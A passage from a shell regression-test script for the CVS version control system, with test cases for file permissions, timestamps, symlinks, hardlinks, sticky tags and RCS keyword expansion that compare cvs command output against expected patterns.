\"$remotehost\"; then\n\t dotest modes-15r \\\n\"$CVS_RSH $remotehost 'ls -l ${CVSROOT_DIRNAME}/first-dir/Attic/ac,v'\" \\\n\"-r--r--r--.*\"\n\t else\n\t dotest modes-15r \\\n\"ls -l ${CVSROOT_DIRNAME}/first-dir/Attic/ac,v\" \\\n\"-r--r--r--.*\" \"-r--r-----.*\"\n\t fi\n\t else\n\t dotest modes-15 \\\n\"ls -l ${CVSROOT_DIRNAME}/first-dir/Attic/ac,v\" \\\n\"-r--r-----.*\"\n\t fi\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t # Perhaps should restore the umask and CVSUMASK. But the other\n\t # tests \"should\" not care about them...\n\t ;;\n\n\tmodes2)\n\t # More tests of file permissions in the working directory\n\t # and that sort of thing.\n\n\t # The usual setup, file first-dir/aa with two revisions.\n\t mkdir 1; cd 1\n\t dotest modes2-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest modes2-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t touch aa\n\t dotest modes2-3 \"${testcvs} add aa\" \\\n\"${PROG} add: scheduling file .aa. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest modes2-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aa,v\ndone\nChecking in aa;\n${CVSROOT_DIRNAME}/first-dir/aa,v <-- aa\ninitial revision: 1\\.1\ndone\"\n\t echo \"more money\" >> aa\n\t dotest modes2-5 \"${testcvs} -q ci -m add\" \\\n\"Checking in aa;\n${CVSROOT_DIRNAME}/first-dir/aa,v <-- aa\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # OK, here is the test. The idea is to see what\n\t # No_Difference does if it can't open the file.\n\t # If we don't change the st_mtime, CVS doesn't even try to read\n\t # the file. Note that some versions of \"touch\" require that we\n\t # do this while the file is still writable.\n\t touch aa\n\t chmod a= aa\n\t # Don't try this when permissions are broken, as with Cygwin.\n\t if ls ${CVSROOT_DIRNAME}/first-dir >/dev/null 2>&1; then :; else\n\t dotest_fail modes2-6 \"${testcvs} -q update -r 1.1 aa\" \\\n\"${PROG} \\[update aborted\\]: cannot open file aa for comparing: Permission denied\" \\\n\"${PROG} \\[update aborted\\]: reading aa: Permission denied\"\n\t fi\n\n\t chmod u+rwx aa\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tmodes3)\n\t # Repository permissions. Particularly, what happens if we\n\t # can't read/write in the repository.\n\t # TODO: the case where we can access the repository, just not\n\t # the attic (may that one can remain a fatal error, seems less\n\t # useful for access control).\n\t mkdir 1; cd 1\n\t dotest modes3-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir second-dir\n\t dotest modes3-2 \"${testcvs} add first-dir second-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\nDirectory ${CVSROOT_DIRNAME}/second-dir added to the repository\"\n\t touch first-dir/aa second-dir/ab\n\t dotest modes3-3 \"${testcvs} add first-dir/aa second-dir/ab\" \\\n\"${PROG} add: scheduling file .first-dir/aa. for addition\n${PROG} add: scheduling file .second-dir/ab. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest modes3-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aa,v\ndone\nChecking in first-dir/aa;\n${CVSROOT_DIRNAME}/first-dir/aa,v <-- aa\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/second-dir/ab,v\ndone\nChecking in second-dir/ab;\n${CVSROOT_DIRNAME}/second-dir/ab,v <-- ab\ninitial revision: 1\\.1\ndone\"\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"chmod a= ${CVSROOT_DIRNAME}/first-dir\"\n\t else\n\t chmod a= ${CVSROOT_DIRNAME}/first-dir\n\t fi\n\t if ls ${CVSROOT_DIRNAME}/first-dir >/dev/null 2>&1; then\n\t # Avoid this test under Cygwin since permissions work differently\n\t # there.\n\t #\n\t # This test also gets avoided under Mac OS X since the system `ls'\n\t # is broken and exits with a 0 status despite the permission\n\t # denied error.\n\t if test -n \"$remotehost\"; then\n\t cygwin_hack=false\n\t else\n\t cygwin_hack=:\n\t fi\n\t else\n\t cygwin_hack=false\n\t fi\n\n\t cd $TESTDIR/1\n\t if $cygwin_hack; then :; else\n\t dotest modes3-5 \"${testcvs} update\" \\\n\"${PROG} update: Updating \\.\n${PROG} update: Updating first-dir\n${PROG} update: cannot open directory ${CVSROOT_DIRNAME}/first-dir: Permission denied\n${PROG} update: skipping directory first-dir\n${PROG} update: Updating second-dir\"\n\t fi\n\n\t # OK, I can see why one might say the above case could be a\n\t # fatal error, because normally users without access to first-dir\n\t # won't have it in their working directory. But the next\n\t # one is more of a problem if it is fatal.\n\t #\n\t # The second text string below is for Cygwin again, and again it\n\t # should really be XFAIL under Cygwin, but for now deal with the\n\t # passing opendir by accepting the alternate string.\n\t rm -r first-dir\n\t dotest modes3-6 \"${testcvs} update -dP\" \\\n\"${PROG} update: Updating .\n${PROG} update: Updating CVSROOT\nU ${DOTSTAR}\n${PROG} update: Updating first-dir\n${PROG} update: cannot open directory ${CVSROOT_DIRNAME}/first-dir: Permission denied\n${PROG} update: skipping directory first-dir\n${PROG} update: Updating second-dir\" \\\n\"${PROG} update: Updating .\n${PROG} update: Updating CVSROOT\nU ${DOTSTAR}\n${PROG} update: Updating first-dir\n${PROG} update: Updating second-dir\"\n\n\t cd ..\n\t rm -r 1\n\t chmod u+rwx ${CVSROOT_DIRNAME}/first-dir\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir ${CVSROOT_DIRNAME}/second-dir\n\t ;;\n\n\tstamps)\n\t # Test timestamps.\n\t mkdir 1; cd 1\n\t dotest stamps-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest stamps-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t touch aa\n\t echo '$''Id$' >kw\n\t # Cygwin, *cough*, puts the year in the time column until the minute\n\t # is no longer the current minute. Sleep 60 seconds to avoid this\n\t # problem.\n\t sleep 60\n\t ls -l aa >${TESTDIR}/1/stamp.aa.touch\n\t ls -l kw >${TESTDIR}/1/stamp.kw.touch\n\t # \"sleep 1\" would suffice if we could assume ls --full-time, but\n\t # that is as far as I know unique to GNU ls. Is there some POSIX.2\n\t # way to get the timestamp of a file, including the seconds?\n\t sleep 60\n\t dotest stamps-3 \"${testcvs} add aa kw\" \\\n\"${PROG} add: scheduling file .aa. for addition\n${PROG} add: scheduling file .kw. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t ls -l aa >${TESTDIR}/1/stamp.aa.add\n\t ls -l kw >${TESTDIR}/1/stamp.kw.add\n\t # \"cvs add\" should not muck with the timestamp.\n\t dotest stamps-4aa \\\n\"cmp ${TESTDIR}/1/stamp.aa.touch ${TESTDIR}/1/stamp.aa.add\" ''\n\t dotest stamps-4kw \\\n\"cmp ${TESTDIR}/1/stamp.kw.touch ${TESTDIR}/1/stamp.kw.add\" ''\n\t sleep 60\n\t dotest stamps-5 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aa,v\ndone\nChecking in aa;\n${CVSROOT_DIRNAME}/first-dir/aa,v <-- aa\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/kw,v\ndone\nChecking in kw;\n${CVSROOT_DIRNAME}/first-dir/kw,v <-- kw\ninitial revision: 1\\.1\ndone\"\n\t # Cygwin, *cough*, puts the year in the time column until the minute\n\t # is no longer the current minute. Sleep 60 seconds to avoid this\n\t # problem.\n\t sleep 60\n\t ls -l aa >${TESTDIR}/1/stamp.aa.ci\n\t ls -l kw >${TESTDIR}/1/stamp.kw.ci\n\t # If there are no keywords, \"cvs ci\" leaves the timestamp alone\n\t # If there are, it sets the timestamp to the date of the commit.\n\t # I'm not sure how logical this is, but it is intentional.\n\t # If we wanted to get fancy we would make sure the time as\n\t # reported in \"cvs log kw\" matched stamp.kw.ci. But that would\n\t # be a lot of work.\n\t dotest stamps-6aa \\\n\t \"cmp ${TESTDIR}/1/stamp.aa.add ${TESTDIR}/1/stamp.aa.ci\" ''\n\t if cmp ${TESTDIR}/1/stamp.kw.add ${TESTDIR}/1/stamp.kw.ci >/dev/null\n\t then\n\t fail stamps-6kw\n\t else\n\t pass stamps-6kw\n\t fi\n\t cd ../..\n\t sleep 60\n\t mkdir 2\n\t cd 2\n\t dotest stamps-7 \"${testcvs} -q get first-dir\" \"U first-dir/aa\nU first-dir/kw\"\n\t cd first-dir\n\t ls -l aa >${TESTDIR}/1/stamp.aa.get\n\t ls -l kw >${TESTDIR}/1/stamp.kw.get\n\t # On checkout, CVS should set the timestamp to the date that the\n\t # file was committed. Could check that the time as reported in\n\t # \"cvs log aa\" matches stamp.aa.get, but that would be a lot of\n\t # work.\n\t if cmp ${TESTDIR}/1/stamp.aa.ci ${TESTDIR}/1/stamp.aa.get >/dev/null\n\t then\n\t fail stamps-8aa\n\t else\n\t pass stamps-8aa\n\t fi\n\t dotest stamps-8kw \\\n\t \"cmp ${TESTDIR}/1/stamp.kw.ci ${TESTDIR}/1/stamp.kw.get\" ''\n\n\t # Now we want to see what \"cvs update\" does.\n\t sleep 60\n\t echo add a line >>aa\n\t echo add a line >>kw\n\t dotest stamps-9 \"${testcvs} -q ci -m change-them\" \\\n\"Checking in aa;\n${CVSROOT_DIRNAME}/first-dir/aa,v <-- aa\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nChecking in kw;\n${CVSROOT_DIRNAME}/first-dir/kw,v <-- kw\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t \n\t # Cygwin, *cough*, puts the year in the time column until the minute\n\t # is no longer the current minute. Sleep 60 seconds to avoid this\n\t # problem.\n\t sleep 60\n\t ls -l aa >${TESTDIR}/1/stamp.aa.ci2\n\t ls -l kw >${TESTDIR}/1/stamp.kw.ci2\n\t cd ../..\n\t cd 1/first-dir\n\t sleep 60\n\t dotest stamps-10 \"${testcvs} -q update\" '[UP] aa\n[UP] kw'\n\t # this doesn't serve any function other than being able to\n\t # look at it manually, as we have no machinery for dates being\n\t # newer or older than other dates.\n\t date >${TESTDIR}/1/stamp.debug.update\n\t ls -l aa >${TESTDIR}/1/stamp.aa.update\n\t ls -l kw >${TESTDIR}/1/stamp.kw.update\n\t # stamp.aa.update and stamp.kw.update should both be approximately\n\t # the same as stamp.debug.update. Perhaps we could be testing\n\t # this in a more fancy fashion by \"touch stamp.before\" before\n\t # stamps-10, \"touch stamp.after\" after, and then using ls -t\n\t # to check them. But for now we just make sure that the *.update\n\t # stamps differ from the *.ci2 ones.\n\t # As for the rationale, this is so that if one updates and gets\n\t # a new revision, then \"make\" will be sure to regard those files\n\t # as newer than .o files which may be sitting around.\n\t if cmp ${TESTDIR}/1/stamp.aa.update ${TESTDIR}/1/stamp.aa.ci2 \\\n\t >/dev/null\n\t then\n\t fail stamps-11aa\n\t else\n\t pass stamps-11aa\n\t fi\n\t if cmp ${TESTDIR}/1/stamp.kw.update ${TESTDIR}/1/stamp.kw.ci2 \\\n\t >/dev/null\n\t then\n\t fail stamps-11kw\n\t else\n\t pass stamps-11kw\n\t fi\n\n\t cd ../..\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t rm -r 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tperms)\n\t # short cut around checking out and committing CVSROOT\n\t rm -f ${CVSROOT_DIRNAME}/CVSROOT/config\n\t echo 'PreservePermissions=yes' > ${CVSROOT_DIRNAME}/CVSROOT/config\n\t chmod 444 ${CVSROOT_DIRNAME}/CVSROOT/config\n\n\t mkdir 1; cd 1\n\t dotest perms-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest perms-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\n\t touch foo\n\t chmod 431 foo\n\t dotest perms-3 \"${testcvs} add foo\" \\\n\"${PROG} add: scheduling file .foo. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest perms-4 \"${testcvs} -q ci -m ''\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/foo,v\ndone\nChecking in foo;\n${CVSROOT_DIRNAME}/first-dir/foo,v <-- foo\ninitial revision: 1\\.1\ndone\"\n\n\t # Test checking out files with different permissions.\n\t cd ../..\n\t mkdir 2; cd 2\n\t dotest perms-5 \"${testcvs} -q co first-dir\" \"U first-dir/foo\"\n\t cd first-dir\n\t if $remote; then :; else\n\t # PreservePermissions not yet implemented for remote.\n\t dotest perms-6 \"ls -l foo\" \"-r---wx--x .* foo\"\n\t fi\n\n\t cd ../..\n\t rm -rf 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\n\t rm -f ${CVSROOT_DIRNAME}/CVSROOT/config\n\t touch ${CVSROOT_DIRNAME}/CVSROOT/config\n\t chmod 444 ${CVSROOT_DIRNAME}/CVSROOT/config\n\t ;;\n\n\tsymlinks)\n\t # short cut around checking out and committing CVSROOT\n\t rm -f ${CVSROOT_DIRNAME}/CVSROOT/config\n\t echo 'PreservePermissions=yes' > ${CVSROOT_DIRNAME}/CVSROOT/config\n\t chmod 444 ${CVSROOT_DIRNAME}/CVSROOT/config\n\n\t mkdir 1; cd 1\n\t dotest symlinks-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest symlinks-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\n\t dotest symlinks-2.1 \"ln -s ${TESTDIR}/fumble slink\" \"\"\n\t dotest symlinks-3 \"${testcvs} add slink\" \\\n\"${PROG} add: scheduling file .slink. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t if $remote; then\n\t # Remote doesn't implement PreservePermissions, and in its\n\t # absence the correct behavior is to follow the symlink.\n\t dotest_fail symlinks-4r \"${testcvs} -q ci -m ''\" \\\n\"${PROG} \\[commit aborted\\]: reading slink: No such file or directory\"\n\t else\n\t dotest symlinks-4 \"${testcvs} -q ci -m ''\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/slink,v\ndone\nChecking in slink;\n${CVSROOT_DIRNAME}/first-dir/slink,v <-- slink\ninitial revision: 1\\.1\ndone\"\n\n\t # Test checking out symbolic links.\n\t cd ../..\n\t mkdir 2; cd 2\n\t dotest symlinks-5 \"${testcvs} -q co first-dir\" \"U first-dir/slink\"\n\t cd first-dir\n\t dotest symlinks-6 \"ls -l slink\" \\\n\"l[rwx\\-]* .* slink -> ${TESTDIR}/fumble\"\n\t fi\n\n\t cd ../..\n\t rm -rf 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\n\t rm -f ${CVSROOT_DIRNAME}/CVSROOT/config\n\t touch ${CVSROOT_DIRNAME}/CVSROOT/config\n\t chmod 444 ${CVSROOT_DIRNAME}/CVSROOT/config\n\t ;;\n\n\tsymlinks2)\n\t # Symlinks in working directory without PreservePermissions.\n\t # Also see: symlinks: with PreservePermissions\n\t # rcslib-symlink-*: symlinks in repository.\n\t mkdir 1; cd 1\n\t dotest symlinks2-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest symlinks2-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t echo nonsymlink > slink\n\t dotest symlinks2-3 \"${testcvs} add slink\" \\\n\"${PROG} add: scheduling file .slink. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest symlinks2-4 \"${testcvs} -q ci -m ''\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/slink,v\ndone\nChecking in slink;\n${CVSROOT_DIRNAME}/first-dir/slink,v <-- slink\ninitial revision: 1\\.1\ndone\"\n\t rm slink\n\t # Choose name cvslog.* so it is in default ignore list.\n\t echo second file >cvslog.file2\n\t dotest symlinks2-5 \"ln -s cvslog.file2 slink\" \"\"\n\t dotest symlinks2-6 \"${testcvs} -q ci -m linkify\" \\\n\"Checking in slink;\n${CVSROOT_DIRNAME}/first-dir/slink,v <-- slink\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t dotest symlinks2-7 \"${testcvs} -q update -r 1.1 slink\" \"[UP] slink\"\n\t dotest symlinks2-8 \"cat slink\" \"nonsymlink\"\n\t dotest symlinks2-9 \"ls -l slink\" \"-[-rwx]* .* slink\"\n\t cd ../..\n\n\t rm -rf 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\thardlinks)\n\t # short cut around checking out and committing CVSROOT\n\t rm -f ${CVSROOT_DIRNAME}/CVSROOT/config\n\t echo 'PreservePermissions=yes' > ${CVSROOT_DIRNAME}/CVSROOT/config\n\t chmod 444 ${CVSROOT_DIRNAME}/CVSROOT/config\n\n\t mkdir 1; cd 1\n\t dotest hardlinks-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest hardlinks-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\n\t # Make up some ugly filenames, to test that they get\n\t # encoded properly in the delta nodes. Note that `dotest' screws\n\t # up if some arguments have embedded spaces.\n\t if touch aaaa\n\t then\n\t pass hardlinks-2.1\n\t else\n\t fail hardlinks-2.1\n\t fi\n\n\t if ln aaaa b.b.b.b\n\t then\n\t pass hardlinks-2.2\n\t else\n\t fail hardlinks-2.2\n\t fi\n\n\t if ln aaaa 'dd dd dd'\n\t then\n\t pass hardlinks-2.3\n\t else\n\t fail hardlinks-2.3\n\t fi\n\n\t dotest hardlinks-3 \"${testcvs} add [abd]*\" \\\n\"${PROG} add: scheduling file .aaaa. for addition\n${PROG} add: scheduling file .b\\.b\\.b\\.b. for addition\n${PROG} add: scheduling file .dd dd dd. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest hardlinks-4 \"${testcvs} -q ci -m ''\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aaaa,v\ndone\nChecking in aaaa;\n${CVSROOT_DIRNAME}/first-dir/aaaa,v <-- aaaa\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/b\\.b\\.b\\.b,v\ndone\nChecking in b\\.b\\.b\\.b;\n${CVSROOT_DIRNAME}/first-dir/b\\.b\\.b\\.b,v <-- b\\.b\\.b\\.b\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dd dd dd,v\ndone\nChecking in dd dd dd;\n${CVSROOT_DIRNAME}/first-dir/dd dd dd,v <-- dd dd dd\ninitial revision: 1\\.1\ndone\"\n\t # Test checking out hardlinked files.\n\t cd ../..\n\t mkdir 2; cd 2\n\t if $remote; then\n\t # Remote does not implement PreservePermissions.\n\t dotest hardlinks-5r \"${testcvs} -q co first-dir\" \\\n\"U first-dir/aaaa\nU first-dir/b\\.b\\.b\\.b\nU first-dir/dd dd dd\"\n\t cd first-dir\n\t dotest hardlinks-6r \"ls -l [abd]*\" \\\n\"-[rwx\\-]* *1 .* aaaa\n-[rwx\\-]* *1 .* b\\.b\\.b\\.b\n-[rwx\\-]* *1 .* dd dd dd\"\n\t else\n\t dotest hardlinks-5 \"${testcvs} -q co first-dir\" \\\n\"U first-dir/aaaa\nU first-dir/b\\.b\\.b\\.b\nU first-dir/dd dd dd\"\n\t cd first-dir\n\t # To make sure that the files are properly hardlinked, it\n\t # would be nice to do `ls -i' and make sure all the inodes\n\t # match. But I think that would require expr to support\n\t # tagged regexps, and I don't think we can rely on that.\n\t # So instead we just see that each file has the right\n\t # number of links. -twp\n\t dotest hardlinks-6 \"ls -l [abd]*\" \\\n\"-[rwx\\-]* *3 .* aaaa\n-[rwx\\-]* *3 .* b\\.b\\.b\\.b\n-[rwx\\-]* *3 .* dd dd dd\"\n\t fi\n\n\t cd ../..\n\t rm -rf 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\n\t rm -f ${CVSROOT_DIRNAME}/CVSROOT/config\n\t touch ${CVSROOT_DIRNAME}/CVSROOT/config\n\t chmod 444 ${CVSROOT_DIRNAME}/CVSROOT/config\n\t ;;\n\n\tsticky)\n\t # More tests of sticky tags, particularly non-branch sticky tags.\n\t # See many tests (e.g. multibranch) for ordinary sticky tag\n\t # operations such as adding files on branches.\n\t # See \"head\" test for interaction between stick tags and HEAD.\n\t mkdir 1; cd 1\n\t dotest sticky-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest sticky-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\n\t touch file1\n\t dotest sticky-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest sticky-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t dotest sticky-5 \"${testcvs} -q tag tag1\" \"T file1\"\n\t echo add a line >>file1\n\t dotest sticky-6 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t dotest sticky-7 \"${testcvs} -q update -r tag1\" \"[UP] file1\"\n\t dotest sticky-8 \"cat file1\" ''\n\t dotest sticky-9 \"${testcvs} -q update\" ''\n\t dotest sticky-10 \"cat file1\" ''\n\t touch file2\n\t dotest_fail sticky-11 \"${testcvs} add file2\" \\\n\"${PROG} add: cannot add file on non-branch tag tag1\"\n\t dotest sticky-12 \"${testcvs} -q update -A\" \"[UP] file1\n${QUESTION} file2\" \"${QUESTION} file2\n[UP] file1\"\n\t dotest sticky-13 \"${testcvs} add file2\" \\\n\"${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest sticky-14 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\n\t # Now back to tag1\n\t dotest sticky-15 \"${testcvs} -q update -r tag1\" \"[UP] file1\n${PROG} update: file2 is no longer in the repository\"\n\n\t rm file1\n\t dotest sticky-16 \"${testcvs} rm file1\" \\\n\"${PROG} remove: scheduling .file1. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t # Hmm, this command seems to silently remove the tag from\n\t # the file. This appears to be intentional.\n\t # The silently part especially strikes me as odd, though.\n\t dotest sticky-17 \"${testcvs} -q ci -m remove-it\" \"\"\n\t dotest sticky-18 \"${testcvs} -q update -A\" \"U file1\nU file2\"\n\t dotest sticky-19 \"${testcvs} -q update -r tag1\" \\\n\"${PROG} update: file1 is no longer in the repository\n${PROG} update: file2 is no longer in the repository\"\n\t dotest sticky-20 \"${testcvs} -q update -A\" \"U file1\nU file2\"\n\n\t # Now try with a numeric revision.\n\t dotest sticky-21 \"${testcvs} -q update -r 1.1 file1\" \"U file1\"\n\t dotest sticky-22 \"${testcvs} rm -f file1\" \\\n\"${PROG} remove: cannot remove file .file1. which has a numeric sticky tag of .1\\.1.\"\n\t # The old behavior was that remove allowed this and then commit\n\t # gave an error, which was somewhat hard to clear. I mean, you\n\t # could get into a long elaborate discussion of this being a\n\t # conflict and two ways to resolve it, but I don't really see\n\t # why CVS should have a concept of conflict that arises, not from\n\t # parallel development, but from CVS's own sticky tags.\n\n\t # Ditto with a sticky date.\n\t #\n\t # I'm kind of surprised that the \"file1 was lost\" doesn't crop\n\t # up elsewhere in the testsuite. It is a long-standing\n\t # discrepency between local and remote CVS and should probably\n\t # be cleaned up at some point.\n\t dotest sticky-23 \"${testcvs} -q update -Dnow file1\" \\\n\"${PROG} update: warning: file1 was lost\nU file1\" \"U file1\"\n\t dotest sticky-24 \"${testcvs} rm -f file1\" \\\n\"${PROG} remove: cannot remove file .file1. which has a sticky date of .[0-9.]*.\"\n\n\t dotest sticky-25 \"${testcvs} -q update -A\" \\\n\"${PROG} update: warning: file1 was lost\nU file1\" \"U file1\"\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tkeyword)\n\t # Test keyword expansion.\n\t # Various other tests relate to our ability to correctly\n\t # set the keyword expansion mode.\n\t # \"binfiles\" tests \"cvs admin -k\".\n\t # \"binfiles\" and \"binfiles2\" test \"cvs add -k\".\n\t # \"rdiff\" tests \"cvs co -k\".\n\t # \"binfiles\" (and this test) test \"cvs update -k\".\n\t # \"binwrap\" tests setting the mode from wrappers.\n\t # \"keyword2\" tests \"cvs update -kk -j\" with text and binary files\n\t # I don't think any test is testing \"cvs import -k\".\n\t # Other keyword expansion tests:\n\t # keywordlog - $Log.\n\t mkdir 1; cd 1\n\t dotest keyword-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest keyword-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n cd first-dir\n\n\t echo '$''Author$' > file1\n\t echo '$''Date$' >> file1\n\t echo '$''Header$' >> file1\n\t echo '$''Id$' >> file1\n\t echo '$''Locker$' >> file1\n\t echo '$''Name$' >> file1\n\t echo '$''RCSfile$' >> file1\n\t echo '$''Revision$' >> file1\n\t echo '$''Source$' >> file1\n\t echo '$''State$' >> file1\n\t echo '$''Nonkey$' >> file1\n\t # Omit the trailing dollar sign\n\t echo '$''Date' >> file1\n\t # Put two keywords on one line\n\t echo '$''State$' '$''State$' >> file1\n\t # Use a header for Log\n\t echo 'xx $''Log$' >> file1\n\n\t dotest keyword-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest keyword-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t dotest keyword-5 \"cat file1\" \\\n'\\$'\"Author: ${username} \"'\\$'\"\n\"'\\$'\"Date: [0-9][0-9][0-9][0-9]/[0-9][0-9]/[0-9][0-9] [0-9][0-9]:[0-9][0-9]:[0-9][0-9] \"'\\$'\"\n\"'\\$'\"Header: ${CVSROOT_DIRNAME}/first-dir/file1,v 1\\.1 [0-9/]* [0-9:]* ${username} Exp \"'\\$'\"\n\"'\\$'\"Id: file1,v 1\\.1 [0-9/]* [0-9:]* ${username} Exp \"'\\$'\"\n\"'\\$'\"Locker: \"'\\$'\"\n\"'\\$'\"Name: \"'\\$'\"\n\"'\\$'\"RCSfile: file1,v \"'\\$'\"\n\"'\\$'\"Revision: 1\\.1 \"'\\$'\"\n\"'\\$'\"Source: ${CVSROOT_DIRNAME}/first-dir/file1,v \"'\\$'\"\n\"'\\$'\"State: Exp \"'\\$'\"\n\"'\\$'\"Nonkey\"'\\$'\"\n\"'\\$'\"Date\n\"'\\$'\"State: Exp \"'\\$'\" \"'\\$'\"State: Exp \"'\\$'\"\nxx \"'\\$'\"Log: file1,v \"'\\$'\"\nxx Revision 1\\.1 [0-9/]* [0-9:]* ${username}\nxx add\nxx\"\n\n\t # Use cvs admin to lock the RCS file in order to check -kkvl\n\t # vs. -kkv. CVS does not normally lock RCS files, but some\n\t # people use cvs admin to enforce reserved checkouts.\n\t dotest keyword-6 \"${testcvs} admin -l file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\n1\\.1 locked\ndone\"\n\n\t dotest keyword-7 \"$testcvs update -kkv file1\" '[UP] file1'\n\t dotest keyword-8 \"cat file1\" \\\n'\\$'\"Author: ${username} \"'\\$'\"\n\"'\\$'\"Date: [0-9][0-9][0-9][0-9]/[0-9][0-9]/[0-9][0-9] [0-9][0-9]:[0-9][0-9]:[0-9][0-9] \"'\\$'\"\n\"'\\$'\"Header: ${CVSROOT_DIRNAME}/first-dir/file1,v 1\\.1 [0-9/]* [0-9:]* ${username} Exp \"'\\$'\"\n\"'\\$'\"Id: file1,v 1\\.1 [0-9/]* [0-9:]* ${username} Exp \"'\\$'\"\n\"'\\$'\"Locker: \"'\\$'\"\n\"'\\$'\"Name: \"'\\$'\"\n\"'\\$'\"RCSfile: file1,v \"'\\$'\"\n\"'\\$'\"Revision: 1\\.1 \"'\\$'\"\n\"'\\$'\"Source: ${CVSROOT_DIRNAME}/first-dir/file1,v \"'\\$'\"\n\"'\\$'\"State: Exp \"'\\$'\"\n\"'\\$'\"Nonkey\"'\\$'\"\n\"'\\$'\"Date\n\"'\\$'\"State: Exp \"'\\$'\" \"'\\$'\"State: Exp \"'\\$'\"\nxx \"'\\$'\"Log: file1,v \"'\\$'\"\nxx Revision 1\\.1 [0-9/]* [0-9:]* ${username}\nxx add\nxx\"\n\n\t 